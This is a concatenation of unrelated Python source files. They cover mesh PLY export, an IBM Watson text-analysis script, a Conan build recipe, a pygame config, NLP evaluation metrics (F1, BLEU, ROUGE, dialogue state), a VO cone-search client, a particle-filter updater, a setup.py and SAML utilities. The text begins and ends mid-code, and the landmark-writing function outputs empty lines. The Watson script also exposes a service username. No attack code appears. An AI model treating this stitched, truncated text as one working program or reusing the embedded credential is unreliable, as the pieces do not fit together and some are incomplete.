'{rank:0{width}} - {w_norm:.5f} ({id_}).png'.format( rank=rank, width=width, w_norm=w_norm, id_=id_)) def export_pruning_visualization(r, id_, rank, w_norm, n_meshes=10000): width = len(str(n_meshes)) nicp_vis_path = path_shape_nicp_visualization(r, id_) prune_result_path = path_pruning_visualization(r, id_, rank, w_norm, width=width) copy(str(nicp_vis_path), str(prune_result_path)) #----------------------------- additional functions---------------------------- # def path_ply_model(r, id_): return r / 'ply' / '{}.ply'.format(id_) def path_ply_landmark(r, id_): return r / 'ply' / '{}.pp'.format(id_) def path_texture_jpg(r, id_): print(r / '{}.jpg'.format(id_)) return r / '{}.jpg'.format(id_) def path_texture_png(r, id_): return r / 'input_dir' / '{}.png'.format(id_) # ---------------------------- output mesh model ------------------------------ # #function to write vertices vector into ply format #written by Bony on 11-7-2019 def ply_from_array(id, mesh, path, landmark_type='ibug68'): points = mesh.points colours = mesh.colours faces = mesh.trilist #num_points = int(len(points)/3) filename = path + str(id) + '.ply' header = '''ply format ascii 1.0 comment UNRE generated element vertex {0} property float x property float y property float z element face {1} property list uchar int vertex_indices end_header\n'''.format(mesh.n_points, mesh.n_tris) vertice_list=[] colours_list=[] faces_list=[] for item in points: vertice_list.append(item) for item in colours: colours_list.append(item) for item in faces: faces_list.append(item) with open(filename, 'w') as f: f.writelines(header) for idx in range(0, mesh.n_points): for i in range(0,3): f.write(str(vertice_list[idx][i])) f.write(' ') #for j in range(0,3): # f.write(str(int(colours_list[idx][j]*255))) # f.write(' ') f.write('\n') for idx in range(0, mesh.n_tris): f.write('3 ') for i in range(0,3): f.write(str(int(faces_list[idx][i]))) f.write(' ') f.write('\n') f.close() landmarks = mesh.landmarks._landmark_groups[landmark_type].points filename_lm = path + str(id) + '.pp' header = ' \n \n \n \n \n \n' count = 1 with open(filename_lm, 'w') as fpp: fpp.write(header) for points in landmarks: fpp.write('\t\n') count = count + 1 fpp.write('') def getTriMeshfromPly(path): data = [] with open(path) as csv_file: csv_reader = csv.reader(csv_file, delimiter=' ') for row in csv_reader: data.append(row) flag = False points = [] trilist = [] count = 0 for row in range(len(data)): if (data[row][0] == 'element') and (data[row][1] == 'vertex'): numOfVertices = int(data[row][2]) if flag and count < numOfVertices: data[row][0] = "{0:.6f}".format(float(data[row][0])) data[row][1] = "{0:.6f}".format(float(data[row][1])) data[row][2] = "{0:.6f}".format(float(data[row][2])) points.append([float(data[row][0]), float(data[row][1]), float(data[row][2])]) count = count + 1 elif flag and count >= numOfVertices: if data[row][0] == '3': trilist.append([int(data[row][1]), int(data[row][2]), int(data[row][3])]) if (data[row][0] == 'end_header'): flag = True points_np = np.array(points) trilist_np = np.array(trilist) return [points_np, trilist_np] import json import urllib from watson_developer_cloud import NaturalLanguageUnderstandingV1 import watson_developer_cloud.natural_language_understanding.features.v1 as \ features def try_url(url): try: result = urllib.urlopen(url).read() return result except Exception: print("No luck: {0}".format(url)) return False def clean(string): clstr = "" i = 0 while(i < len(string)): a = string[i] if(string[i] == "<" ): i += 1 while(string[i]!=">"): i += 1 i += 1 else: clstr += string[i] i += 1 return clstr def dic2item(response): itemlist = [] tempitem = [] for i in range(len(response[u'entities'])): tempitem = [] text = response[u'entities'][i][u'text'] tempitem.append(text) tempitem.append(response[u'entities'][i][u'relevance']) tempitem.append(response[u'entities'][i][u'count']) itemlist.append(tempitem) return itemlist def emotion2result(response): emotions = [u'anger', u'joy', u'sadness', u'fear', u'disgust'] result = {} for i in range(5): result[emotions[i]] = response[u'emotion'][u'document'][u'emotion'][emotions[i]] return result def categories2result(response): result = {} for i in range(len(response[u'categories'])): label = response[u'categories'][i][u'label'] result[label] = response[u'categories'][i][u'score'] return result def concepts2result(response): result = {} for i in range(len(response[u'concepts'])): tempitem = [] text = response[u'concepts'][i][u'text'] tempitem.append(response[u'concepts'][i][u'relevance']) tempitem.append(response[u'concepts'][i][u'dbpedia_resource']) result[text] = tempitem return result def main(args): natural_language_understanding = NaturalLanguageUnderstandingV1( version='2017-02-27', username='3c7f46fd-5308-46db-b55a-502352b72261', password='') features_list = [features.Categories(), features.Concepts(), features.Emotion(), features.Entities(), features.Keywords(), features.MetaData(), features.Relations(), features.Sentiment()] input_param_list = ['Categories', 'Concepts', 'Emotion', 'Entities', 'Keywords', 'MetaData', 'Relations', 'Sentiment'] input_param = args.get("type", "Emotion") response = natural_language_understanding.analyze( text = args.get("text", None), url = args.get("url", None), html = args.get("html", None), features=[features_list[input_param_list.index(input_param)]]) if(args.get("type", "Emotion")=="Emotion"): result = emotion2result(response) return result if(args.get("type", "Emotion")=="Categories"): result = categories2result(response) return result if(args.get("type", "Emotion")=="Concepts"): result = concepts2result(response) return result if(args.get("type", "Emotion")!="Entities"): return response itemlist = dic2item(response) wiki_query = "http://en.wikipedia.org/w/api.php?action=query&" \ "prop=extracts&format=json&exintro=&titles=" count = 0 index = 0 extractlist = {} while(count < 3 and index < len(itemlist)): temp = itemlist[index][0].encode("utf8") item = temp.split(" ") string = "" for i in item: string += i + "+" string = string[:len(string) - 1] res = try_url(wiki_query + string) # print res res_json = json.loads(res) extract = res_json["query"]["pages"] pagenum = extract.keys()[0] if(pagenum != "-1"): count += 1 extract = extract[pagenum] extract = extract["extract"] extract = extract.encode("utf8") slist = extract.split(". ") if (slist is not None): extract = slist[0] + "." extract = clean(extract) extractlist[itemlist[index][0]] = extract index += 1 if(extractlist == {}): return {"NULL":"NULL"} return extractlist #print main({"text":"IBM is an American multinational technology company headquartered in New York, United States, with operations in over 170 countries.","type":"Entities"}) #print main({"text":"The Nobel Prize in Physics 1921 was awarded to .","type":"Entities"}) print main({"text":"The Chinese Comac C919 airliner takes place.","type":"Concepts"}) CD3/libArrhenius from conans import ConanFile, CMake, tools import os class ConanBuild(ConanFile): generators = "cmake", "virtualenv" requires = 'boost/1.69.0@conan/stable','eigen/3.3.7@conan/stable' def build(self): cmake = CMake(self) defs = {} defs["Eigen3_DIR"] = os.path.join( self.deps_cpp_info["eigen"].rootpath, "share", "eigen3", "cmake" ) cmake.configure(defs=defs) cmake.build() ttkaixin1998/pikachupythongames '''配置文件''' import os '''屏幕大小''' SCREENSIZE = (500, 500) '''block大小''' BLOCKSIZE = 50 '''levels所在文件夹''' LEVELDIR = os.path.join(os.getcwd(), 'resources/levels') '''图片所在文件夹''' IMAGESDIR = os.path.join(os.getcwd(), 'resources/images') '''字体所在文件夹''' FONTDIR = os.path.join(os.getcwd(), 'resources/font') '''音频所在文件夹''' AUDIODIR = os.path.join(os.getcwd(), 'resources/audios') '''背景颜色''' BACKGROUNDCOLOR = (45, 45, 45)from subprocess import Popen, PIPE, CalledProcessError import json from text.torchtext.datasets.generic import Query import logging import os import re import string import collections from multiprocessing import Pool, cpu_count from contextlib import closing from pyrouge import Rouge155 from sacrebleu import corpus_bleu def to_lf(s, table): aggs = [y.lower() for y in Query.agg_ops] agg_to_idx = {x: i for i, x in enumerate(aggs)} conditionals = [y.lower() for y in Query.cond_ops] headers_unsorted = [(y.lower(), i) for i, y in enumerate(table['header'])] headers = [(y.lower(), i) for i, y in enumerate(table['header'])] headers.sort(reverse=True, key=lambda x: len(x[0])) condition_s, conds = None, [] if 'where' in s: s, condition_s = s.split('where', 1) s = ' '.join(s.split()[1:-2]) sel, agg = None, 0 for col, idx in headers: if col == s: sel = idx if sel is None: s = s.split() agg = agg_to_idx[s[0]] s = ' '.join(s[1:]) for col, idx in headers: if col == s: sel = idx full_conditions = [] if not condition_s is None: condition_s = ' ' + condition_s + ' ' for idx, col in enumerate(headers): condition_s = condition_s.replace(' ' + col[0] + ' ', ' Col{} '.format(col[1])) condition_s = condition_s.strip() for idx, col in enumerate(conditionals): new_s = [] for t in condition_s.split(): if t == col: new_s.append('Cond{}'.format(idx)) else: new_s.append(t) condition_s = ' '.join(new_s) s = condition_s conds = re.split('(Col\d+ Cond\d+)', s) if len(conds) == 0: conds = [s] conds = [x for x in conds if len(x.strip()) > 0] full_conditions = [] for i, x in enumerate(conds): if i % 2 == 0: x = x.split() col_num = int(x[0].replace('Col', '')) opp_num = int(x[1].replace('Cond', '')) full_conditions.append([col_num, opp_num]) else: x = x.split() if x[-1] == 'and': x = x[:-1] x = ' '.join(x) if 'Col' in x: new_x = [] for t in x.split(): if 'Col' in t: idx = int(t.replace('Col', '')) t = headers_unsorted[idx][0] new_x.append(t) x = new_x x = ' '.join(x) if 'Cond' in x: new_x = [] for t in x.split(): if 'Cond' in t: idx = int(t.replace('Cond', '')) t = conditionals[idx] new_x.append(t) x = new_x x = ' '.join(x) full_conditions[-1].append(x) logical_form = {'sel': sel, 'conds': full_conditions, 'agg': agg} return logical_form def computeLFEM(greedy, answer, args): answer = [x[0] for x in answer] count = 0 correct = 0 text_answers = [] for idx, (g, ex) in enumerate(zip(greedy, answer)): count += 1 text_answers.append([ex['answer'].lower()]) try: lf = to_lf(g, ex['table']) gt = ex['sql'] conds = gt['conds'] lower_conds = [] for c in conds: lc = c lc[2] = str(lc[2]).lower() lower_conds.append(lc) gt['conds'] = lower_conds correct += lf == gt except Exception as e: continue return correct / count * 100, text_answers def computeCF1(greedy, answer): def remove_and(text): return re.sub(r'\b(and)\b', ' ', text) greedy_counters = [] num_not_null_greedy = 0 for g in greedy: clean_g = remove_and(g).split() if (len(clean_g) == 1) and ('unanswerable' == clean_g[0]): greedy_counters.append(None) else: greedy_counters.append(collections.Counter(clean_g)) num_not_null_greedy += 1 answer_counters = [] num_not_null_answer = 0 for aa in answer: a_counters = [] num_not_null_a = 0 for a in aa: clean_a = remove_and(a).split() if (len(clean_g) == 1) and ('unanswerable' == clean_a[0]): a_counters.append(None) else: a_counters.append(collections.Counter(clean_a)) num_not_null_a += 1 if num_not_null_a > 0: num_not_null_answer += 1 answer_counters.append(a_counters) num_true_positive = 0 for g, aa in zip(greedy_counters, answer_counters): if g == None: continue for a in aa: if a == None: continue elif a == g: num_true_positive += 1 break precision = num_true_positive / num_not_null_greedy recall = num_true_positive / num_not_null_answer return 2 * (precision * recall) / (precision + recall) * 100, precision * 100, recall * 100 def normalize_text(s): """Lower text and remove punctuation, articles and extra whitespace.""" def remove_articles(text): return re.sub(r'\b(a|an|the)\b', ' ', text) def white_space_fix(text): return ' '.join(text.split()) def remove_punc(text): exclude = set(string.punctuation) return ''.join(ch for ch in text if ch not in exclude) def lower(text): return text.lower() return white_space_fix(remove_articles(remove_punc(lower(s)))) def f1_score(prediction, ground_truth): prediction_tokens = prediction.split() ground_truth_tokens = ground_truth.split() common = collections.Counter(prediction_tokens) & collections.Counter(ground_truth_tokens) num_same = sum(common.values()) if num_same == 0: return 0 precision = 1.0 * num_same / len(prediction_tokens) recall = 1.0 * num_same / len(ground_truth_tokens) f1 = (2 * precision * recall) / (precision + recall) return f1 def exact_match(prediction, ground_truth): return prediction == ground_truth def metric_max_over_ground_truths(metric_fn, prediction, ground_truths): scores_for_ground_truths = [] for idx, ground_truth in enumerate(ground_truths): score = metric_fn(prediction, ground_truth) scores_for_ground_truths.append(score) return max(scores_for_ground_truths) def computeF1(outputs, targets): return sum([metric_max_over_ground_truths(f1_score, o, t) for o, t in zip(outputs, targets)])/len(outputs) * 100 def computeEM(outputs, targets): outs = [metric_max_over_ground_truths(exact_match, o, t) for o, t in zip(outputs, targets)] return sum(outs)/len(outputs) * 100 def computeBLEU(outputs, targets): targets = [[t[i] for t in targets] for i in range(len(targets[0]))] return corpus_bleu(outputs, targets, lowercase=True).score class Rouge(Rouge155): """Rouge calculator class with custom command-line options.""" # See full list of options here: # https://github.com/andersjo/pyrouge/blob/master/tools/ROUGE-1.5.5/README.txt#L82 DEFAULT_OPTIONS = [ '-a', # evaluate all systems '-n', 4, # max-ngram '-x', # do not calculate ROUGE-L '-2', 4, # max-gap-length '-u', # include unigram in skip-bigram '-c', 95, # confidence interval '-r', 1000, # number-of-samples (for resampling) '-f', 'A', # scoring formula '-p', 0.5, # 0 <= alpha <=1 '-t', 0, # count by token instead of sentence '-d', # print per evaluation scores ] def __init__(self, n_words=None, keep_files=False, options=None): if options is None: self.options = self.DEFAULT_OPTIONS.copy() else: self.options = options if n_words: options.extend(["-l", n_words]) stem = "-m" in self.options super(Rouge, self).__init__( n_words=n_words, stem=stem, keep_files=keep_files) def _run_rouge(self): # Get full options options = ( ['-e', self._rouge_data] + list(map(str, self.options)) + [os.path.join(self._config_dir, "settings.xml")]) logging.info("Running ROUGE with options {}".format(" ".join(options))) # print([self._rouge_bin] + list(options)) pipes = Popen([self._rouge_bin] + options, stdout=PIPE, stderr=PIPE) std_out, std_err = pipes.communicate() div_by_zero_error = std_err.decode("utf-8").\ startswith("Illegal division by zero") if pipes.returncode == 0 or div_by_zero_error: # Still returns the correct output even with div by zero return std_out else: raise ValueError( std_out.decode("utf-8") + "\n" + std_err.decode("utf-8")) def computeROUGE(greedy, answer): rouges = compute_rouge_scores(greedy, answer) if len(rouges) > 0: avg_rouges = {} for key in rouges[0].keys(): avg_rouges[key] = sum( [r.get(key, 0.0) for r in rouges]) / len(rouges) * 100 else: avg_rouges = None return avg_rouges def split_sentences(txt, splitchar=".", include_splitchar=False): """Split sentences of a text based on a given EOS char.""" out = [s.split() for s in txt.strip().split(splitchar) if len(s) > 0] return out def compute_rouge_scores(summs, refs, splitchar='.', options=None, parallel=True): assert len(summs) == len(refs) options = [ '-a', # evaluate all systems '-c', 95, # confidence interval '-m', # use Porter stemmer '-n', 2, # max-ngram '-w', 1.3, # weight (weighting factor for WLCS) ] rr = Rouge(options=options) rouge_args = [] for summ, ref in zip(summs, refs): letter = "A" ref_dict = {} for r in ref: ref_dict[letter] = [x for x in split_sentences(r, splitchar) if len(x) > 0] letter = chr(ord(letter) + 1) s = [x for x in split_sentences(summ, splitchar) if len(x) > 0] rouge_args.append((s, ref_dict)) if parallel: with closing(Pool(cpu_count()//2)) as pool: rouge_scores = pool.starmap(rr.score_summary, rouge_args) else: rouge_scores = [] for s, a in rouge_args: rouge_scores.append(rr.score_summary(s, ref_dict)) return rouge_scores def to_delta_state(line): delta_state = {'inform': {}, 'request': {}} try: if line == 'None' or line.strip() == '': return delta_state inform, request = [[y.strip() for y in x.strip().split(',')] for x in line.split(';')] inform_pairs = {} for i in inform: try: k, v = i.split(':') inform_pairs[k.strip()] = v.strip() except: pass delta_state = {'inform': inform_pairs, 'request': request} except: pass finally: return delta_state def update_state(state, delta): for act, slot in delta.items(): state[act] = slot return state def dict_cmp(d1, d2): def cmp(a, b): for k1, v1 in a.items(): if k1 not in b: return False else: if v1 != b[k1]: return False return True return cmp(d1, d2) and cmp(d2, d1) def computeDialogue(greedy, answer): examples = [] for idx, (g, a) in enumerate(zip(greedy, answer)): examples.append((a[0][0], g, a[0][1], idx)) examples.sort() turn_request_positives = 0 turn_goal_positives = 0 joint_goal_positives = 0 ldt = None for ex in examples: if ldt is None or ldt.split('_')[:-1] != ex[0].split('_')[:-1]: state, answer_state = {}, {} ldt = ex[0] delta_state = to_delta_state(ex[1]) answer_delta_state = to_delta_state(ex[2]) state = update_state(state, delta_state['inform']) answer_state = update_state(answer_state, answer_delta_state['inform']) if dict_cmp(state, answer_state): joint_goal_positives += 1 if delta_state['request'] == answer_delta_state['request']: turn_request_positives += 1 if dict_cmp(delta_state['inform'], answer_delta_state['inform']): turn_goal_positives += 1 joint_goal_em = joint_goal_positives / len(examples) * 100 turn_request_em = turn_request_positives / len(examples) * 100 turn_goal_em = turn_goal_positives / len(examples) * 100 answer = [(x[-1], x[-2]) for x in examples] answer.sort() answer = [[x[1]] for x in answer] return joint_goal_em, turn_request_em, turn_goal_em, answer def compute_metrics(greedy, answer, rouge=False, bleu=False, corpus_f1=False, logical_form=False, args=None, dialogue=False): metric_keys = [] metric_values = [] if not isinstance(answer[0], list): answer = [[a] for a in answer] if logical_form: lfem, answer = computeLFEM(greedy, answer, args) metric_keys += ['lfem'] metric_values += [lfem] if dialogue: joint_goal_em, request_em, turn_goal_em, answer = computeDialogue(greedy, answer) avg_dialogue = (joint_goal_em + request_em) / 2 metric_keys += ['joint_goal_em', 'turn_request_em', 'turn_goal_em', 'avg_dialogue'] metric_values += [joint_goal_em, request_em, turn_goal_em, avg_dialogue] em = computeEM(greedy, answer) metric_keys += ['em'] metric_values += [em] if bleu: bleu = computeBLEU(greedy, answer) metric_keys.append('bleu') metric_values.append(bleu) if rouge: rouge = computeROUGE(greedy, answer) metric_keys += ['rouge1', 'rouge2', 'rougeL', 'avg_rouge'] avg_rouge = (rouge['rouge_1_f_score'] + rouge['rouge_2_f_score'] + rouge['rouge_l_f_score']) / 3 metric_values += [rouge['rouge_1_f_score'], rouge['rouge_2_f_score'], rouge['rouge_l_f_score'], avg_rouge] norm_greedy = [normalize_text(g) for g in greedy] norm_answer = [[normalize_text(a) for a in al] for al in answer] nf1 = computeF1(norm_greedy, norm_answer) nem = computeEM(norm_greedy, norm_answer) metric_keys.extend(['nf1', 'nem']) metric_values.extend([nf1, nem]) if corpus_f1: corpus_f1, precision, recall = computeCF1(norm_greedy, norm_answer) metric_keys += ['corpus_f1', 'precision', 'recall'] metric_values += [corpus_f1, precision, recall] metric_dict = collections.OrderedDict(list(zip(metric_keys, metric_values))) return metric_dict, answer # Licensed under a 3-clause BSD style license - see LICENSE.rst import urllib import warnings from io import BytesIO from numbers import Number from astropy import units as u from astropy.coordinates import (BaseCoordinateFrame, ICRS, SkyCoord, Longitude, Latitude) from astropy.io.votable import table from .exceptions import VOSError, ConeSearchError, InvalidAccessURL from .vos_catalog import vo_tab_parse from ..exceptions import NoResultsWarning from ..query import BaseQuery from ..utils import commons # Import configurable items declared in __init__.py from . import conf __all__ = ['ConeSearch', 'ConeSearchClass'] __doctest_skip__ = ['ConeSearchClass'] class ConeSearchClass(BaseQuery): """ The class for querying the Virtual Observatory (VO) Cone Search web service. Examples -------- >>> from astropy import units as u >>> from astropy.coordinates import SkyCoord >>> from astroquery.vo_conesearch import ConeSearch >>> ConeSearch.query_region(SkyCoord.from_name('M31'), 5 * u.arcsecond) objID gscID2 ... compassGSC2id Mag ... mag int64 object ... object float32 -------------- ---------------- ... ------------- ------- 23323175812944 00424433+4116085 ... 6453800072293 -- 23323175812933 00424455+4116103 ... 6453800072282 -- 23323175812939 00424464+4116092 ... 6453800072288 -- 23323175812931 00424464+4116106 ... 6453800072280 -- 23323175812948 00424403+4116069 ... 6453800072297 -- 23323175812930 00424403+4116108 ... 6453800072279 -- """ def __init__(self): super(ConeSearchClass, self).__init__() def query_region_async(self, *args, **kwargs): """ This is not implemented. Use :class:`~astroquery.vo_conesearch.conesearch.AsyncConeSearch` instead. """ raise NotImplementedError( 'Use astroquery.vo_conesearch.conesearch.AsyncConeSearch class.') def query_region(self, coordinates, radius, *, verb=1, get_query_payload=False, cache=True, verbose=False, service_url=None, return_astropy_table=True, use_names_over_ids=False): """ Perform Cone Search and returns the result of the first successful query. Parameters ---------- coordinates : str, `astropy.coordinates` object, list, or tuple Position of the center of the cone to search. It may be specified as an object from the :ref:`astropy:astropy-coordinates` package, string as accepted by :func:`~astroquery.utils.parse_coordinates`, or tuple/list. If given as tuple or list, it is assumed to be ``(RA, DEC)`` in the ICRS coordinate frame, given in decimal degrees. radius : float or `~astropy.units.quantity.Quantity` Radius of the cone to search: - If float is given, it is assumed to be in decimal degrees. - If `~astropy.units.quantity.Quantity` is given, it is internally converted to degrees. verb : {1, 2, 3}, optional Verbosity indicating how many columns are to be returned in the resulting table. Support for this parameter by a Cone Search service implementation is optional. If the service supports the parameter: 1. Return the bare minimum number of columns that the provider considers useful in describing the returned objects. 2. Return a medium number of columns between the minimum and maximum (inclusive) that are considered by the provider to most typically useful to the user. 3. Return all of the columns that are available for describing the objects. If not supported, the service should ignore the parameter and always return the same columns for every request. get_query_payload : bool, optional Just return the dict of HTTP request parameters. cache : bool, optional Use caching for VO Service database. Access to actual VO websites referenced by the database still needs internet connection. verbose : bool, optional Verbose output, including VO table warnings. service_url : str or `None` URL for the Cone Search service. If not given, will use ``fallback_url`` from ``vo_conesearch`` configuration. return_astropy_table : bool Returned ``result`` will be `astropy.table.Table` rather than `astropy.io.votable.tree.Table`. use_names_over_ids : bool When `True` use the ``name`` attributes of columns as the names of columns in the `~astropy.table.Table` instance. Since names are not guaranteed to be unique, this may cause some columns to be renamed by appending numbers to the end. Otherwise (default), use the ID attributes as the column names. Returns ------- result : `astropy.table.Table` or `astropy.io.votable.tree.Table` Table from successful VO service request. See ``return_astropy_table`` option for the kind of table returned. """ request_payload = self._args_to_payload(coordinates, radius, verb) if get_query_payload: return request_payload url = _validate_url(service_url) response = self._request('GET', url, params=request_payload, timeout=conf.timeout, cache=cache) result = self._parse_result(response, url, pars=request_payload, verbose=verbose) # Convert to an astropy.table.Table object if result is not None and return_astropy_table: result = result.to_table(use_names_over_ids=use_names_over_ids) result.url = url # To be consistent with votable option return result def _args_to_payload(self, coordinates, radius, verb): """ Takes the arguments from any of the query functions and returns a dictionary that can be used as the data for an HTTP POST request. """ ra, dec = _validate_coord(coordinates) sr = _validate_sr(radius) v = _validate_verb(verb) return {'RA': ra, 'DEC': dec, 'SR': sr, 'VERB': v} def _parse_result(self, response, url, pars={}, verbose=False): """ Parse the raw HTTP response and return it as a table. """ # Suppress any VOTable related warnings. if not verbose: commons.suppress_vo_warnings() query = [] for key, value in pars.items(): query.append('{0}={1}'.format(urllib.parse.quote(key), urllib.parse.quote_plus(str(value)))) parsed_url = url + '&'.join(query) # Parse the result tab = table.parse(BytesIO(response.content), filename=parsed_url, pedantic=conf.pedantic) try: result = vo_tab_parse(tab, url, pars) except VOSError as exc: result = None warnings.warn(str(exc), NoResultsWarning) return result def _validate_url(url): """Validate Cone Search service URL.""" if url is None: url = conf.fallback_url # This is the standard expectation of a service URL if not url.endswith(('?', '&')): raise InvalidAccessURL("URL should end with '?' or '&'") # && in URL can break some queries, so remove trailing & if needed # as & will be added back later if url.endswith('&'): url = url[:-1] return url def _validate_coord(coordinates): """Validate coordinates and return them as ICRS RA and DEC in deg.""" if isinstance(coordinates, (list, tuple)) and len(coordinates) == 2: icrscoord = ICRS(Longitude(coordinates[0], unit=u.degree), Latitude(coordinates[1], unit=u.degree)) else: c = commons.parse_coordinates(coordinates) if isinstance(c, SkyCoord): icrscoord = c.transform_to(ICRS).frame elif isinstance(c, BaseCoordinateFrame): icrscoord = c.transform_to(ICRS) else: # Assume already ICRS icrscoord = c return icrscoord.ra.degree, icrscoord.dec.degree def _validate_sr(radius): """Validate search radius and return value in deg.""" if isinstance(radius, Number): sr = radius else: sr = commons.radius_to_unit(radius) return sr def _validate_verb(verb): """Validate verbosity.""" try: v = int(verb) except ValueError: v = 999 if v not in (1, 2, 3): raise ConeSearchError('Verbosity must be 1, 2, or 3') return v ConeSearch = ConeSearchClass() 0 # coding: utf-8 # # ISO-SWS data preprocessing: check wavelength grids # In[8]: import glob import numpy as np import pandas as pd # In[9]: # Some useful functions.... def get_wavelength_grid(path): """Return the wavelength grid (as a numpy array) from a pickled pd.DataFrame file.""" df = pd.read_pickle(path) # print(df.keys()) # return True wavelength_array = df['wavelength'] return wavelength_array # *** # ## Wavelength arrays # In[10]: pickle_dir = 'isosws_dataframes/' pickle_files = np.sort(glob.glob(pickle_dir + '*.pkl')) # In[11]: len(pickle_files) # In[12]: for index, filename in enumerate(pickle_files): wave = get_wavelength_grid(filename) if index == 0: static_wave = wave continue # if index >= 100: # break if index % 200 == 0: print(index, '/', len(pickle_files)) if not np.all(static_wave == wave): raise ValueError('Wavelength arrays not equal...!') # *** # *** # *** ''' Notices: Copyright 2018 United States Government as represented by the Administrator of the National Aeronautics and Space Administration. No copyright is claimed in the United States under Title 17, U.S. Code. All Other Rights Reserved. Disclaimers No Warranty: THE SUBJECT SOFTWARE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY OF ANY KIND, EITHER EXPRessED, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTY THAT THE SUBJECT SOFTWARE WILL CONFORM TO SPECIFICATIONS, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNess FOR A PARTICULAR PURPOSE, OR FREEDOM FROM INFRINGEMENT, ANY WARRANTY THAT THE SUBJECT SOFTWARE WILL BE ERROR FREE, OR ANY WARRANTY THAT DOCUMENTATION, IF PROVIDED, WILL CONFORM TO THE SUBJECT SOFTWARE. THIS AGREEMENT DOES NOT, IN ANY MANNER, CONSTITUTE AN ENDORSEMENT BY GOVERNMENT AGENCY OR ANY PRIOR RECIPIENT OF ANY RESULTS, RESULTING DESIGNS, HARDWARE, SOFTWARE PRODUCTS OR ANY OTHER APPLICATIONS RESULTING FROM USE OF THE SUBJECT SOFTWARE. FURTHER, GOVERNMENT AGENCY DISCLAIMS ALL WARRANTIES AND LIABILITIES REGARDING THIRD-PARTY SOFTWARE, IF PRESENT IN THE ORIGINAL SOFTWARE, AND DISTRIBUTES IT "AS IS." Waiver and Indemnity: RECIPIENT AGREES TO WAIVE ANY AND ALL CLAIMS AGAINST THE UNITED STATES GOVERNMENT, ITS CONTRACTORS AND SUBCONTRACTORS, AS WELL AS ANY PRIOR RECIPIENT. IF RECIPIENT'S USE OF THE SUBJECT SOFTWARE RESULTS IN ANY LIABILITIES, DEMANDS, DAMAGES, EXPENSES OR LOSSES ARISING FROM SUCH USE, INCLUDING ANY DAMAGES FROM PRODUCTS BASED ON, OR RESULTING FROM, RECIPIENT'S USE OF THE SUBJECT SOFTWARE, RECIPIENT SHALL INDEMNIFY AND HOLD HARMLess THE UNITED STATES GOVERNMENT, ITS CONTRACTORS AND SUBCONTRACTORS, AS WELL AS ANY PRIOR RECIPIENT, TO THE EXTENT PERMITTED BY LAW. RECIPIENT'S SOLE REMEDY FOR ANY SUCH MATTER SHALL BE THE IMMEDIATE, UNILATERAL TERMINATION OF THIS AGREEMENT. ''' import numpy as np from .particles import Particles class Updater: ''' Updates particle weights (and resamples if necessary) based on delta phi and particle state. ''' def __init__(self, ess_threshold): ''' :param ess_threshold: threshold on effective sample size (ess); if ess < ess_threshold, resampling with replacement is conducted. :type ess_threshold: float ''' self.ess_threshold = ess_threshold self._ess = np.nan self._resampled = False self._unnorm_log_weights = [] @property def ess_threshold(self): return self._ess_threshold @ess_threshold.setter def ess_threshold(self, ess_threshold): if ess_threshold < 0. or ess_threshold > 1.: raise ValueError('ESS threshold must be between 0 and 1.') self._ess_threshold = ess_threshold @property def ess(self): return self._ess @property def resampled(self): return self._resampled def update(self, particles, delta_phi): new_log_weights = self._compute_new_weights(particles, delta_phi) new_particles = Particles(particles.param_dict, particles.log_likes, new_log_weights) new_particles = self.resample_if_needed(new_particles) return new_particles def resample_if_needed(self, new_particles): eff_sample_size = new_particles.compute_ess() self._ess = eff_sample_size self._resampled = False if eff_sample_size < self.ess_threshold * new_particles.num_particles: self._resampled = True return self._resample(new_particles) return new_particles def _compute_new_weights(self, particles, delta_phi): un_log_weights = particles.log_weights + particles.log_likes * delta_phi self._unnorm_log_weights.append(un_log_weights) return un_log_weights def _resample(self, particles): u = np.random.uniform(0, 1, particles.num_particles) resample_indices = np.digitize(u, np.cumsum(particles.weights)) new_params = particles.params[resample_indices] param_dict = dict(zip(particles.param_names, new_params.T)) new_log_likes = particles.log_likes[resample_indices] uniform_weights = [1/particles.num_particles] * particles.num_particles new_weights = np.log(uniform_weights) return Particles(param_dict, new_log_likes, new_weights) #!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys try: from setuptools import setup except ImportError: from distutils.core import setup if sys.argv[-1] == "publish": os.system("python setup.py sdist upload") sys.exit() import drf_camel_case setup( name="drf-camel-case", version=drf_camel_case.__version__, description="Camel case JSON support for Django REST framework.", long_description="Camel case JSON support for Django REST framework.", long_description_content_type="text/x-rst", packages=["drf_camel_case"], package_dir={"drf_camel_case": "drf_camel_case"}, include_package_data=True, python_requires=">=3.5", install_requires=[], license="MIT", zip_safe=False, keywords="drf_camel_case", classifiers=[ "Development Status :: 2 - Pre-Alpha", "Intended Audience :: Developers", "Natural Language :: English", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], test_suite="tests", ) flask_saml2/utils.py import datetime import pathlib import typing as T import uuid from importlib import import_module from typing import Union import OpenSSL.crypto import pytz from flask import url_for as flask_url_for, current_app from . import types as TS class cached_property(property): """A decorator that converts a function into a lazy property. The function wrapped is called the first time to retrieve the result and then that calculated result is used the next time you access the value: .. code-block:: python class Foo(object): @cached_property def foo(self): # calculate something important here return 42 The class has to have a ``__dict__`` in order for this property to work. """ # implementation detail: A subclass of python's builtin property # decorator, we override __get__ to check for a cached value. If one # chooses to invoke __get__ by hand the property will still work as # expected because the lookup logic is replicated in __get__ for # manual invocation. def __init__(self, func, name=None, doc=None): self.__name__ = name or func.__name__ self.__module__ = func.__module__ self.__doc__ = doc or func.__doc__ self.func = func def __get__(self, obj, type=None): if obj is None: return self _missing = object() value = obj.__dict__.get(self.__name__, _missing) if value is _missing: value = self.func(obj) obj.__dict__[self.__name__] = value return value def __set__(self, instance, value): raise AttributeError(f"Can not set read-only attribute {type(instance).__name__}.{self.name}") def __delete__(self, instance): raise AttributeError(f"Can not delete read-only attribute {type(instance).__name__}.{self.name}") def import_string(path: str) -> T.Any: """ Import a dotted Python path to a class or other module attribute. ``import_string('foo.bar.MyClass')`` will return the class ``MyClass`` from the package ``foo.bar``. """ name, attr = path.rsplit('.', 1) return getattr(import_module(name), attr) def get_random_id() -> str: """ Generate a random ID string. The random ID will start with the '_' character. """ # It is very important that these random IDs NOT start with a number. random_id = '_' + uuid.uuid4().hex return random_id def utcnow() -> datetime.datetime: """Get the current time in UTC, as an aware :class:`datetime.datetime`.""" return datetime.datetime.utcnow().replace(tzinfo=pytz.utc) def certificate_to_string(certificate: TS.X509) -> 